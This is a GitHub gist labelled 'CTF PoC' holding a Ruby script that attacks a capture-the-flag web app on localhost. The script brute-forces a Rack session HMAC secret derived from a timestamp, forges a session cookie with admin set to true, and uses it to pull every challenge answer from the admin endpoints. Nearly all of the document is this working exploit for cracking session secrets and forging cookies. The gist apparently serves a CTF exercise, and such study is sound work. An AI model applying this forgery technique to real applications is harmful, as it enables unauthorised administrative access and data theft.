Skip to content

Instantly share code, notes, and snippets.

@tylerjl
Created April 21, 2014 02:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tylerjl/11130539 to your computer and use it in GitHub Desktop.
Save tylerjl/11130539 to your computer and use it in GitHub Desktop.
CTF PoC
#!/usr/bin/env ruby
require 'pp'
require 'faraday'
require 'base64'
require 'digest/sha1'
require 'nokogiri'
require 'json'
class HackingError < StandardError ; end
def uncookify cookie ; Marshal.load(Base64.decode64(CGI.unescape(cookie))) ; end
def recookify datum ; CGI.escape(Base64.encode64(Marshal.dump(datum))) ; end
def create_hmac message, key
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end
def brute_force message, hmac
seed = Time.now
while (hmac != create_hmac(message, Digest::SHA1.hexdigest(seed.to_s))) do
seed -= 1
end
Digest::SHA1.hexdigest(seed.to_s)
end
begin
connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
raise HackingError, "unable to GET /" unless response.status == 200
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
params_hash = uncookify(cookie)
# Brute force the key
# (risk of looping infinitely here if key is uncrackable; beware)
secret = brute_force(cookie, hmac)
puts "Found the key: #{secret}"
# Key obtained, now spoof session parameters
params_hash.merge!({ 'admin' => true })
admin_hash_encoded = recookify(params_hash)
bad_hmac = create_hmac(admin_hash_encoded, secret)
bad_cookie = "rack.session=#{admin_hash_encoded}--#{bad_hmac};"
admin_page = connection.get do |request|
request.url '/admin/main'
request.headers['Cookie'] = bad_cookie
end
raise HackingError, "Key didn't work..." unless admin_page.status == 200
admin_doc = Nokogiri::HTML(admin_page.body)
challenges = admin_doc.xpath('//div[@id="table"]//tr[position() > 1]/td[1]').map(&:text).map(&:to_i)
challenges.each do |challenge|
json = connection.post do |r|
r.url '/admin/load'
r.params['id'] = challenge
r.headers['Cookie'] = bad_cookie
end
answer = JSON.parse(json.body)
puts "Challenge #{challenge} answer: #{answer['answer']}"
end
puts "Finished."
rescue HackingError => e
puts "Error: #{e}."
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment